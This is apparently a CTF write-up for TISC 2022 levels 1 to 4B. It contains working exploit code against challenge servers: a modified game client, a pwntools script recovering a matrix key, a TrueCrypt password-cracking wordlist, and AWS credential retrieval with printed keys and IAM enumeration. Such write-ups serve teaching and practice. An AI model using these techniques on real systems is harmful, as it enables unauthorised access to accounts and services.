TISC (The InfoSecurity Challenge) 2022, organised by CSIT, was a CTF held over 17 days. Eager to escape my exam prep, I spent the first few days trying the challenges :) I solved the first 6 challenges in the first week before deciding to resume my studying… The challenges are harder than your typical CTF challenges, often requiring multiple exploits to get the flag. It was a fun and difficult CTF, getting me to explore categories outside my usual since we weren’t allowed teams. In the end, I placed 7th

screenshot of top 10

You can find the relevant challenge files in this repo.

Level 1: Slay The Dragon

Category: Pwn

Description

The recently launched online RPG game “Slay The Dragon” has been hot topic in the online gaming community of late, due to a seemingly impossible final boss. Amongst the multiple tirades against the forementioned boss, much controversy has been brewing due to rumors of the game being a recruitment campaign for PALINDROME, the cybercriminal organisation responsible for recent cyberattacks on Singapore’s critical infrastructure.

You are tasked to find a way to beat (hack) the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after beating the final boss. Your success is critical to ensure the safety of Singapore’s cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.

To aid in your efforts, we have managed to obtain the source code of the game for you. We look forward to your success!

You will be provided with the following:

1. Source code for game client/server (Python 3.10.x)
2. Game client executable (Compiled with PyInstaller)
- Highly recommended that you run it in a modern terminal (not cmd.exe) for the optimal experience:
- Windows: Windows Terminal or ConEmu recommended.
- Linux: the default terminal should be fine.

Note: If you’d like to make any modifications to the client, we’d strongly suggest modifying the source code and running it directly. The game client executable has been provided purely for your convenience in checking out the game.

Host: chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg

Port: 18261

Attached files: slay_the_dragon.zip

Exploit

We are given the code the game client, game server, and a sample game client to use. We can connect to the actual game server with the following command. But for debugging, it will be useful to set up the server and client ourselves with the docker files provided.

1
./client_linux_x64 --host chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg --port 18261

This challenge is essentially a code review to find any exploits in game logic. There’s a fair bit of code to read, but it’s all pretty understandable in Python. In order to get the flag, we need to defeat the bosses, but are underpowered. The exploit lies in that we can modify our client to send more than one attack per turn, which the server accepts due to a misconfiguration. I’ll walk through the relevant parts of source code.

On the server side, the main battle logic lies in the run function in “/server/service/battleservice.py”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
while True:
    self.history.log_commands_from_str(self.server.recv_command_str())

    match self.history.latest:
        case Command.ATTACK | Command.HEAL:
            self.history.log_command(Command.BOSS_ATTACK)
        case Command.VALIDATE:
            break
        case Command.RUN:
            return
        case _:
            self.server.exit(1)

match self.__compute_battle_outcome():
    case Result.PLAYER_WIN_BATTLE:
        self.__handle_battle_win()
        return
    case Result.BOSS_WIN_BATTLE:
        self.server.exit()
    case _:
        self.server.exit(1)

In the battle loop (the while loop), the server waits for a command from our game client (recv_command_str) and logs it to “history”, which is the server’s record of command performed during the battle. The server then checks what the latest command in “history” is, which would be the latest action the player took, sent by the game client. If the player attacks or heals, the server adds the boss attack command to “history”. If the client send a validate command, which it does when it thinks the battle is over, the server exits the battle loop to check the result of the battle (compute_battle_outcome).

1
2
3
4
5
6
7
8
9
10
11
12
13
def __compute_battle_outcome(self) -> Optional[Result]:
    for command in self.history.commands:
        match command:
            case Command.ATTACK:
                self.boss.receive_attack_from(self.player)
                if self.boss.is_dead:
                    return Result.PLAYER_WIN_BATTLE
            case Command.HEAL:
                self.player.use_potion()
            case Command.BOSS_ATTACK:
                self.player.receive_attack_from(self.boss)
                if self.player.is_dead:
                    return Result.BOSS_WIN_BATTLE

In compute_battle_outcome, the server runs through each command that it has logged to “history” and simulates the commands (e.g. attack / heal) on a mock copy of the player and the boss. Then, it will return the result of the battle accordingly (player win / boss win).

The game bug lies in line 2 of the battle loop snippet above. log_commands_from_str should raise some alarm bells

1
self.history.log_commands_from_str(self.server.recv_command_str())

This references functions in “/core/models/command.py”. Our suspicions are confirmed here.

1
2
3
4
5
6
7
def log_commands(self, commands: List[Command]):
    self.commands.extend(commands)

def log_commands_from_str(self, commands_str: str):
    self.log_commands(
        [Command(command_str) for command_str in commands_str.split()]
    )

and recv_command_str which can be found in “/server/gameserver.py”, simply returns recv() of the game server’s netcat client, i.e. the latest packet received by the server.

This functionality is normally interacted with by our game client in “/client/event/battleevent.py”

1
2
3
def __attack_boss(self):
    self.client.send_command(Command.ATTACK)
    self.boss.receive_attack_from(self.player)

Every time we attack the boss on our client, our client sends an attack command to the game server, which logs the single command. However, analysing the log_commands_from_str function, we realise that the server can accept multiple commands, splitting them and logging each one in succession. This is the bug we can abuse to send multiple attacks and defeat the boss before it even attacks us.

I modified my game client this way:

1
2
3
4
5
6
7
8
9
10
11
12
# /client/event/battleevent.py
def __attack_boss(self):
    n = 200
    self.client.send_command(Command.ATTACK, n)
    for _ in range(n):
        self.boss.receive_attack_from(self.player)
        
# /client/gameclient.py
def send_command(self, command: Command, n=1):
    data = (command.value + " ") * n
    data = data[:-1]
    self.__send(data)

This way, I sent n=200 attack commands in a single network packet. The server then splits my commands up and logs all of them in succession to its “history”. Importantly, the server only logs the boss attack AFTER my n=200 attack commands. I also simulate the boss receiving damage in my local client, so when the boss dies on my client, the validate command is sent to the server, which replays the commands (as discussed above) and gives me the win.

Understanding game logic

This section is no longer part of the main exploit, but instead explores some helpful thought processes. For this challenge, since there is quite a bit code, the strategy I took was to start at each “event” (battle / work / shop) and follow references (using VSCode’s functionality) to traverse and understand the code base.

My game dev and game hacking experience was useful in understanding the game logic - why certain functions were there, and what the overall structure of the client - server relationship looked like. This is how the relationship typically looks like

  • The player inputs his action into the client (via manual selection here, or WASD etc in FPS)
  • The client sends packets to the server, containing any updates the server needs to be aware of, i.e. what actions the player is performing (attacking / healing etc)
  • The server reads the packets and validates them through a series of functions. The reason for this validation is because a hacked client can theoretically be modified to send any packet, so the server needs to ensure that the client’s update is legitimate. The server then updates its record of the game state. In multiplayer games, this process takes into account all player’s packets.
  • The server sends an update to the game client with the relevant information (this would be sending the flag here, or in FPS updating the player’s client with information about other players’ locations).
  • There is some strictly client side information that does not rely (entirely) on the server’s game state. For instance, this can be simulating certain purely visual elements client-side, e.g. ragdolls or blood splatters in FPS. Similarly, there can be some server side information that the server hides from each client.

The typical vulnerability lies in client-side verification (or no verification at all). Similar to web exploitation, if the server does not properly validate the user’s request before accepting it to be legitimate, there is possible space for exploitation. This serves us in good stead to understanding this game’s overall structure for the battles.

On the client side, the only update we get from the server is when the battle is over. Naturally this is also the only way we can conceivably obtain the flag (otherwise, the flag would have to be somewhere client-side). The update we get is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
self.client.send_command(Command.VALIDATE)

if self.player.is_dead:
    self.__handle_death()

match self.client.fetch_result():
    case Result.VALIDATED_OK:
        screens.display_boss_slain_screen()
        return
    case Result.OBTAINED_FLAG:
        screens.display_flag_screen(self.client.fetch_flag())
        self.client.exit()
    case _:
        screens.display_error(Error.RECEIVED_MALFORMED_RESULT)
        self.client.exit(1)

When our client thinks the battle is over, i.e. either the player / boss is dead, it will send the validate command to the server, which triggers it to check the result of the battle in the server-side game state. The server then responds with the result of the battle, which our client obtains via fetch_result. This is where our flag is displayed, if the server sends it over.

This should raise the question of how our game client updates our health and the boss’s health during the battle, if we don’t get any server updates during the battle at all. In fact, we are only sending packets, and not receiving any back, when the battle is ongoing. The way the game achieves this is via creating a copy of the game state client-side. Our client has a copy of the player and the boss, with all their relevant attributes. The boss’s attributes (name, health, damage) are retrieved from the server when the client starts a battle. Our client then simulates the battle happening locally and updates the healths accordingly. This is also how our client knows when to send the validate command, which happens when it registers that either our local copy of the boss / player is dead.

This should then raise the question of whether hacking our local game state into registering a win would have any implications server-side. For instance, if we modified the game client so that our player had 1 million health, played out the battles and sent the validate command when we won, would the server also register that we won and give us the flag? The answer is no, due to the “history” functionality I briefly outlined above. The server keeps a log of the commands we send (attack / heal) and also logs boss attack commands after every one of our attacks (*due to the bug we discovered, this is not exactly the case). When our client sends the validate command, it simulates the entire battle happening on the server, with the accurate set of variables, before responding to our client with the result of the battle. So, even if we modify our player’s health to 1 million client-side, the server would not register this as it would have the correct value of our player’s health in its game state.

While this understanding may not directly tie into discovering the bug, it certainly helps with understanding the code in general so that we don’t mistakenly view certain functionalities as exploitable.

Other minor exploits

Gold farm is an example of a purely client side functionality with implications on the server side game state. We can modify the code for the work event as follows: (/client/event/workevent.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
def run(self):
    # if random() <= CREEPER_ENCOUNTER_CHANCE:
    #     self.__die_to_creeper()
    self.__mine_safely()

# def __die_to_creeper(self):
#     screens.display_creeper_screen()
#     screens.display_game_over_screen()
#     self.client.exit()

def __mine_safely(self):
    # screens.display_working_screen()
    self.client.send_command(Command.WORK)

The commented out sections were originally part of the code. The die_to_creeper function meant that there was a possibility of the player dying (and all progress being reset) every time he went mining for gold. However, since this is a purely client-side functionality, we can simply get rid of it in the game client. Similarly, every time we mined, there was a screen with flavour text that appeared for a few seconds, during which we can’t perform any actions. This was obviously present to discourage spamming the mines and obtaining gold easily and quickly. Similarly, we can just comment it out. The only relevant section is sending the work command, which triggers the server to immediately update our player’s gold without performing any checks (be it the creeper or the working_screen functionality).

This bug is probably easier to spot than the bug I ended up exploiting. We can use this bug to obtain a lot of gold, very quickly. However, this turned out to be useless. It would really only have been useful if we can buy more than one sword, such that having a lot of gold meant that we could upgrade our attack many times to one shot the boss. Unfortunately, the limit of one sword is hard-coded in the game server logic, so I quickly moved on from this finding.

Level 2: Leaky Matrices

Category: Cryptography

Description

Looks like PALINDROME implemented their own authentication protocol and cryptosystem to provide a secure handshake between any 2 services or devices. It does not look secure to us, can you take a look at what we have got?

Try to fool their authentication service: nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765

Attached files: 2WKV_Whitepaper.pdf

Exploitation

The key verification procedure is relatively straightforward, simply involving a single matrix multiplication. I find it easier to grasp by converting this matrix operation to the language of plain algebra. Google is your friend in understanding what matrix multiplication is, and what GF(2) refers to (all elements of the matrix are either 0 or 1). As with solving many math problems, it is useful to first consider a smaller case. For instance if we multiply a 2x2 square matrix with a 1x2 vector, here is what we get.

\[\begin{bmatrix}a & b\\c & d\end{bmatrix} \times \begin{bmatrix}e\\f\end{bmatrix} = \begin{bmatrix}ae+bf\\ce+df\end{bmatrix}\]

Here, the square matrix is the secret key and [e f] is our challenge vector, i.e. we can control the values of e and f. The server responds with the response vector on the right hand side. Re-writing in an algebraic form, \(\begin{equation} ae + bf = x_1 \tag{1} \end{equation}\) \(\begin{equation}\\ ce + df = x_2\tag{2} \end{equation}\) So, we know the values of x_1 and x_2. Looking at equation one, we have an equation with two unknowns, a and b, since we know e, f, x_1. If we have two such equations of two unknowns, we can solve for the unknowns (in general, if you have x unknowns, you can solve for the unknowns with x equations). In fact, we can construct two such equations by sending two challenge vectors. \(\begin{equation} ae + bf = x_1 \tag{3} \end{equation}\) \(\begin{equation} ae' + bf' = x_1' \tag{4} \end{equation}\) Here, suppose we send in two challenge vectors [e f] and [e’ f’]. We now have the two equations we need. Applying the fact that GF(2) only allows values of 0 or 1, we can make the solving even simpler. For the first challenge vector, set e = 1 and f = 0, which reduces the equation to a = x_1, i.e. we can know the value of a just by looking at x_1. Similarly, setting f = 1 and e = 0 will give b = x_1’. Using two challenge vectors, we can reveal the values of a and b of the secret key. However, the square matrix has two rows, and we have yet to reveal c and d. Luckily, applying the same logic would give us the values of c and d. Looking at equation two, setting e = 1 and f = 0 will give a = x_1 and also c = x_2. Simply extend the same logic across all rows of the square matrix to reveal it completely.

We extend this idea to the case of an 8x8 square matrix secret key, with 8 challenge vectors allowed. This will reveal to us the value of the secret key, and we can simply use this to pass the subsequent challenges the server issues us. Final exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sys
import numpy as np
from pwn import *

context.log_level = "debug"
p = remote("chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg", 56765)

def sysout(fstr):
    sys.stdout.write(fstr)
    sys.stdout.flush()

def prompt(fstr):
    guards = "=" * len(fstr)
    sysout(f"{guards}\n{fstr}\n{guards}\n")

def vectostr(v):
    return "".join(map(str, v.reshape(-1)))

def strtovec(s, rows=8, cols=1):
    return np.fromiter(list(s), dtype="int").reshape(rows, cols)

SECRET_KEY = np.round(np.random.rand(8, 8)).astype("int")

T = 8
SECRET_KEY = np.round(np.random.rand(T, T)).astype("int")
print(SECRET_KEY)

ans = [[x for x in range(T)] for _ in range (T)]

p.recvuntil(b"Challenge Me!")

for i in range(T):
    send = ["0"] * T
    send[i] = "1"
    send = "".join(send)
    p.sendline(send.encode("ascii"))
    p.recvuntil(b"My Response --> ")
    output_vec = p.recv(8).decode("ascii")
    res = output_vec
    for idx, el in enumerate(res):
        if el == "1":
            ans[idx][i] = 1
        else:
            ans[idx][i] = 0

ans = np.asmatrix(ans)
print(ans)

for i in range(T):
    p.recvuntil(b"-->")
    inp = p.recvline().strip()[-8:].decode("ascii")
    print(inp)
    inp = strtovec(inp, T)
    output_vec = (ans @ inp) & 1
    out = vectostr(output_vec)
    out = out[2:-2].replace(" ", "")
    
    p.sendline(out.encode("ascii"))

p.interactive()

Level 3: PATIENT0

Category: Forensics

Preface

I never do forensics challenge, and before this, the extent of my abilities were the typical low hanging fruit (exiftool etc). Even after completing this challenge, I can’t claim to be a forensics expert, so my explanation in some parts may be lacking. I did find this challenge to be a bit guessy, but perhaps that can be attributed to my lack of experience (?) I also found that the hints were worded poorly…

Regardless, I have a new-found respect for my forensics teammate ;)

Part 1

Description

Palindrome has spread some virus to corrupt machines causing incorrect readings in patients’ health measurements and rending them unusable. Inspect the file and see if you can uncover the 8 corrupted bytes that renders the file system unusable?

Submit your flag in this format: TISC{last 4 bytes in 8 lowercase hex characters}

Attached files: PATIENT0

Free hint 1: Uncovering and interpreting clue 1 should tell you where the corrupted bits are

Exploit

Worth 0 points, this part of the challenge should have been relatively straightforward but I rabbit-holed hard. On the bright side, the rabbit holing proved useful for the second part. Performing the usual diagnostics on the file:

1
2
$ file archive/PATIENT0
archive/PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT (1Y bit by descriptor); NTFS, physical drive 0xab3566f7, sectors 12287, $MFT start cluster 4, $MFTMirror start cluster 767, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 05c66c6b160cddda1

Looking at the hex at the start of the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000:  eb 52 90 4e 54 46 53 20  20 20 20 00 02 08 00 00  .R.NTFS    .....
00000010:  00 00 00 00 00 f8 00 00  00 00 00 00 00 00 00 00  ................
00000020:  54 49 53 43 f7 66 35 ab  ff 2f 00 00 00 00 00 00  TISC.f5../......
00000030:  04 00 00 00 00 00 00 00  ff 02 00 00 00 00 00 00  ................
00000040:  f6 00 00 00 01 00 00 00  a1 dd cd 60 b1 c6 66 5c  ...........`..f\
00000050:  00 00 00 00 0e 1f be 71  7c ac 22 c0 74 0b 56 b4  .......q|.".t.V.
00000060:  0e bb 07 00 cd 10 5e eb  f0 32 e4 cd 16 cd 19 eb  ......^..2......
00000070:  fe 54 68 69 73 20 69 73  20 6e 6f 74 20 61 20 62  .This is not a b
00000080:  6f 6f 74 61 62 6c 65 20  64 69 73 6b 2e 20 50 6c  ootable disk. Pl
00000090:  65 61 73 65 20 69 6e 73  65 72 74 20 61 20 62 6f  ease insert a bo
000000a0:  6f 74 61 62 6c 65 20 66  6c 6f 70 70 79 20 61 6e  otable floppy an
000000b0:  64 0d 0a 70 72 65 73 73  20 61 6e 79 20 6b 65 79  d..press any key
000000c0:  20 74 6f 20 74 72 79 20  61 67 61 69 6e 20 2e 2e   to try again ..

We can google the starting bytes “eb 52 90 4e 54 46 53 20” and find the following documentation on NTFS partition boot sectors. We see that the challenge file it is a typical boot sector. From the documentation, the bootloader typically ends at offset 0x1fe. But there is evidently a ‘TISC’ string in the middle of the bootsector (offset 0x020). This obviously would impair the bootsector’s typical functionality, so we have a decent candidate for the corrupt bytes. Looking at the challenge description, ‘last 4 bytes’ suggests that the 8 corrupted bytes are a continuous sequence. Looking at the bytes around ‘TISC’, we find that the 4 bytes after it look corrupt (the 4 bytes before are all zeroes which likely isn’t the flag). Cross-checking with the documentation, we see that at 0x20, the bytes should look like “00 00 00 00 80 00 80 00”, so we have likely found the flag. True enough, the correct flag corresponds to the 4 bytes after ‘TISC’ – “f7 66 35 ab”.

For completeness sake, I’ll also discuss finding clue 1, although I didn’t find it helpful then. I found the other clues in this part too, as part of my rabbit-holing, but I’ll discuss them in the next section instead. Running binwalk on the file, we see the following:

1
2
3
4
5
6
7
8
9
10
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
5312512       0x511000        PNG image, 1227 x 57, 8-bit/color RGB, non-interlaced
5312603       0x51105B        Zlib compressed data, compressed
5496832       0x53E000        PDF document, version: "1.7"
5496978       0x53E092        Zlib compressed data, default compression
5691000       0x56D678        Zlib compressed data, default compression
5869970       0x599192        JPEG image data, JFIF standard 1.01
5966510       0x5B0AAE        JPEG image data, JFIF standard 1.01
6004382       0x5B9E9E        Zlib compressed data, default compression

Reading the PDF document extracted, we see the clue “1. The BPB is broken, can you fix it?”, referencing the “Blood Pressure Barometer” and the corresponding image in the PDF. Interestingly, the letters B,P,B are highlighted red in the text “Blood Pressure Barometer”, suggesting some sort of acronym. In hindsight, true enough, this references the ‘BIOS Parameter Block’ (BPB) in the NTFS partition documentation itself. Indeed, this was where we found the corrupt bytes.

Part 2

Description

Palindrome must have leaked one of their passwords as the 4 corrupted bytes (Part 1 flag)! Dig deeper to find what was hidden!

Submit your flag in this format: TISC{md5 hash} <– will be prompted only after opening hidden room.

Note: Please ignore the word ‘original’ in clue 4.

Free hint 1: Find and interpret all 4 clues found from Part 1, which should help you to ‘unlock the outer door’.

Free hint 2:

Free hint 3:

  • Clue 1 points to where the corrupted bytes (Part 1 flag) and password can be found.
  • Clue 2 points to where the encrypted data source is.
  • Clue 3 points to the software used to encrypt the data source.
  • Clue 4 points to the algorithm used to produce the corrupted bytes (Part 1 flag) and password.

Gathering the clues

Oh boy… it’s time to face my forensics demons. I’ll first detail how I found the clues before going into the exploitation proper as I think they are needed for solving this part.

Clue 1

“1. The BPB is broken, can you fix it?” was found in the previous part of the challenge.

Clue 2

Looking at the other results of the binwalk, we see a couple of images. The two JPEGs are the images contained in the PDF, but the PNG displays the following string:

1
GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=

Running it through cyberchef magic, we see that it is base32 for “2.Thirsty for the flag? Go find the stream..”

Clue 3

Running strings on the file, near the top of the output, we see “3.Are these True random bytes for Cryptology?”.

1
2
3
4
$ strings PATIENT0 | grep "3\."
. .!.".#.$.%.&.'.(.).*.+.,.-.../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.Z.[.\.].^._.`.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.{.|.}.~.
3 3!3"3#3$3%3&3'3(3)3*3+3,3-3.3/303132333435363738393:3;3<3=3>3?3@3A3B3C3D3E3F3G3H3I3J3K3L3M3N3O3P3Q3R3S3T3U3V3W3X3Y3Z3[3\3]3^3_3`3a3b3c3d3e3f3g3h3i3j3k3l3m3n3o3p3q3r3s3t3u3v3w3x3y3z3{3|3}3~3
3.Are these True random bytes for Cryptology?Kv

Alternatively, this could have been found via autopsy as I did for Clue 4.

Clue 4

Having rarely done forensics challs, this was the first time using Autopsy, a tool that helps with disk forensics. Running autopsy on the challenge file, we see a couple of familiar files under “File views”. These include the files we manage to extract from exiftool, i.e. the pdfs, the attached image, and the clue 2 image. However, we also see other files that we have yet to recover.

We see a file called “message.png:$RAND” and looking at the indexed text, we see clue 3 on the first page. Scrolling to the end of the last page, we see clue 4 - “4.If you need a password, the original reading of the BPB was Checked and ReChecked 32 times!”

Piecing it together

Let’s break down what the clues mean with the help of the hints in the challenge description. Clue 1 was already used in part 1, but it now seems that there is a password to be found in the corrupted bytes. Clue 2 suggests that we need to look for streams to find the flag. I originally thought this to mean content streams in PDFs, but this turned out to be wrong. This is referencing NTFS hidden file streams, where data can be hidden. These hidden file streams typically have names ending with “:$SOMETHING”, which is exactly like the file we found in Autopsy. Next, looking at the “message.png:$RAND” file in Autopsy, we see clue 3 at the start of the file, followed by seemingly random bytes, finally ending with clue 4. The capitalisation of TC in Clue 3 in the context of cryptology suggests the usage of “TrueCrypt” (via a quick google search). This was confirmed when I did a reverse image search on Hint 2, which turned out to be the logo of TrueCrypt. Finally, Clue 4’s weird capitalisation points at CRC32, suggesting that the password is an 8 character string like the output of CRC32.

Okay, that’s a lot to follow, but this should give us a good idea on how to proceed. The chall’s hint 3 tells us that clue 2 points to where the encrypted data source. This means that the hidden file stream is the encrypted data source (the high entropy of the file should also point to some sort of encryption, as suggested by Autopsy). Clue 3 (and hint 2) tells us that it was encrypted via TrueCrypt. Finally, we have a suspicion that the 4 bytes we submitted in Part 1 is the password for something. Reading up on TrueCrypt, we find that it allows the user to password encrypt some files – likely where our password will come in. So, I installed the TrueCrypt app and tried decrypting the “message.png:$RAND” file with the password “f76635ab” (from Part 1) but this didn’t work. In somewhat dumb luck, I decided to remove the plaintext at the start and end of the file with a hex editor. The random bytes in the file were flanked by the plaintext Clue 3 & 4 but likely only the random bytes were the TrueCrypt volume. Trying to decrypt with the password now worked!

To my absolute dismay, the challenge wasn’t over yet. Looking through the files in the unencrypted TrueCrypt volume, we find the following clue (in image form): “You opened the outer door but the key to the hidden room, needs to be found! On the floor, you find a crumpled piece of paper that reads ‘the ch3cksum h1des m4ny keys but the tru3 key re5embles an engl1sh w0rd wh1ch d3scrib5 th3 c0ndit1on of hash c-------n’ “. This is obviously referencing hash collision, but there doesn’t seem to be any place to use this key. Reading through the TrueCrypt documentation again, we see that this last hint of inner and outer doors is alluding to TrueCrypt hidden volumes. Hidden volumes are a separately encrypted volume within the normal TrueCrypt volume, requiring a different password to unlock. Alternatively, although the TrueCrypt volume we found is 1.8MB in size, 1.5MB of that is free space, which is suspicious. This line of reasoning would also lead to discovering hidden volumes, as hidden volumes are created in the free space of the original volume.

We finally see the light at the end of the tunnel! Unlocking a hidden volume can be done in the same way as a normal TrueCrypt volume, by typing in the correct password to the TrueCrypt app. However, trying the passwords “collision” or “hash collision” fail to unlock the volume. Re-examining the last clue, we see the key resembles “collision”, and with the contextual leetspeak, we get the idea that the password is some leetspeak variant of collision, like c0llisi0n or co1li5ion. We can create a script to generate all such possibilities.

keygen.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
word = "collision" # o: 0, l/i: 1, s: 5
count = 0
top = 2**7

with open("out.txt", "w") as f:
    while count < top:
        state = '{0:07b}'.format(count)

        send = ["c", "o", "l", "l", "i", "s", "i", "o", "n"]
        if state[0] == "1":
            send[1] = "0"
        if state[1] == "1":
            send[2] = "1"

        if state[2] == "1":
            send[3] = "1"
        if state[3] == "1":
            send[4] = "1"

        if state[4] == "1":
            send[5] = "5"
        if state[5] == "1":
            send[6] = "1"

        if state[6] == "1":
            send[7] = "0"

        f.write("".join(send)+"\n")
        f.write("hash " + "".join(send)+"\n")
        count += 1

Not the cleanest code, but this was all I could muster at this point in the challenge. This generated a wordlist “out.txt”. I used this for a dictionary attack on the volume with truecrack, a TrueCrypt cracking software.

1
2
3
4
5
6
7
$ truecrack -t volume -k sha512 -w ./out.txt -H 
TrueCrack v3.6
Website: https://github.com/lvaccaro/truecrack
Contact us: infotruecrack@gmail.com
Found password:         "c01lis1on"
Password length:        "10"
Total computations:     "197"

Bingo! The password to the hidden volume is c01lis1on. Unlocking it, we see the file “flag.ppsm”. We unzip the file, a common forensics trick for powerpoint files. In the folder “docProps”, we see a low-res image of what appears to be the flag. Looking through the other folders, we find that image in the “ppt/media” folder. The image reads “TISC{md5 hash of sound clip}”, which refers to the mp3 file in the same media folder.

1
2
$ md5sum media1.mp3          
f9fc54d767edc937fc24f7827bf91cfe  media1.mp3

Level 4B: CloudyNekos

Category: Cloud

Preface

At this point of the CTF, there are two branches one can go down. Level 4A/5A are reverse engineering challenges, while Level 4B/5B are cloud and web challenges. Continuing my spree of uncharacteristic challenge category solves, I decided to try the Cloud challenge because it sounded fun and easy, instead of reverse engineering which I typically do. In the end, I definitely found this challenge more fun and the final exploit more straightforward than Level 3. However, the rarity of Cloud challenges meant hitting many brick walls before reaching the solution.

Description

We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. They have their own custom built access system e-service portal that generate short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was disguised as a blog site.

We need your help to access their computing resources and exfiltrate any meaningful intelligence for us.

Start here: http://d20whnyjsgpc34.cloudfront.net

NOTE: Solving challenge 4B allows you to complete level 4, but unlocks challenge 5B only!

Exploit

The exploit can be largely broken into 5 parts.

  1. Obtaining AWS credentials
  2. Enumerate AWS permissions
  3. Lateral movement #1
  4. Lateral movement #2
  5. Obtain the flag

Obtaining AWS credentials

The site linked in the challenge description is a catalogue of cute cat pictures. Viewing the page source reveals the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  <div class="p-5 text-center bg-light">
    <!-- Passcode -->
    <h1 class="mb-3">Cats rule the world</h1>
    <!-- Passcode -->
    <!-- 
      ----- Completed -----
      * Configure CloudFront to use the bucket - palindromecloudynekos as the origin
      
      ----- TODO -----
      * Configure custom header referrer and enforce S3 bucket to only accept that particular header
      * Secure all object access
    -->
    <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
  </div>

This hints at a possible passcode, but more importantly at an AWS S3 bucket with the name “palindromecloudynekos”. Looking at similar challenges, we likely have to view the contents of the bucket (a bucket stores objects in the cloud). I installed the aws-cli, created an aws account and logged in to the cli via my credentials. Listing the contents of the bucket:

1
2
3
4
5
6
7
8
9
10
$ aws s3 ls palindromecloudynekos --recursive
2022-08-23 09:16:20        432 api/notes.txt
2022-08-23 09:16:20         34 error.html
2022-07-22 06:02:45     404845 img/photo1.jpg
2022-07-22 06:02:45     164700 img/photo2.jpg
2022-07-22 06:02:46     199175 img/photo3.jpg
2022-07-22 06:02:45     226781 img/photo4.jpg
2022-07-22 06:02:46     249156 img/photo5.jpg
2022-07-22 06:02:45     185166 img/photo6.jpg
2022-08-23 09:16:20       2257 index.html

We see some photos which correspond to the cat images on the site, but also some new files. Visiting “http://d20whnyjsgpc34.cloudfront.net/api/notes.txt” gives us our next clue. (error.html and index.html don’t give us any useful information)

1
2
3
4
5
6
7
# Neko Access System Invocation Notes

Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.

Visiting this new url, we get an “error encountered” message. It seems that we need to pass in a passcode. Looking back at the original site’s source code (listed above), the password seems to be “cats_rule_the_world”.

1
2
$ curl "https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent" -H "x-cat-header: cats_rule_the_world"
{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMSZ6EGEGPF", "Secret_Key": "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"}

Sending the password with the header name from the clue gives us a set of credentials. An access_key secret_key pair is sufficient to authenticate on the aws-cli. So, I logged in to this account instead of my personal account with aws configure.

Enumerate AWS permissions

In the context of an AWS user, permissions dictate what they can or cannot do. For instance, this is what happens when the user does not have sufficient permissions for an operation.

1
2
$ aws iam get-user                                                                                                             
An error occurred (AccessDenied) when calling the GetUser operation: User: arn:aws:iam::051751498533:user/user-0eaf6a1945f34c4890ae11a44bef6b3c is not authorized to perform: iam:GetUser on resource: user user-0eaf6a1945f34c4890ae11a44bef6b3c because no identity-based policy allows the iam:GetUser action

However, running such an unauthorized operation does reveal the user’s username – “user-0eaf6a1945f34c4890ae11a44bef6b3c”. An AWS user has a set of associated credentials, and can be part of a user group. Each user can take on roles which dictate what permissions the user has. A policy associates an identity or resource with their permissions, e.g. an identity-based policy grants permissions to a specific user or role. An Arn, or Amazon Resource Name, is a unique identifier for any AWS resource, including users, roles, policies and permissions.

Let’s try using the usual tools for enumerating AWS permissions, pacu and enumerate-iam.py. This is a good guide for using them. I ran each tool a few times since each run gave slightly different results. Here’s a compiled list of permissions both tools found:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# pacu: iam__bruteforce_permissions
# enumerate-iam.py

ec2:
describe-regions
describe-route-tables
get-associated-enclave-certificate-iam-roles
get-host-reservation-purchase-preview
get-console-screenshot
describe-instance-types
describe-security-groups
describe-subnets
describe-vpcs

iam:
list-roles
list-instance-profiles    

sts:
sts.get-session-token
sts.get-caller-identity

s3: (api)
get-object-torrent
head-bucket

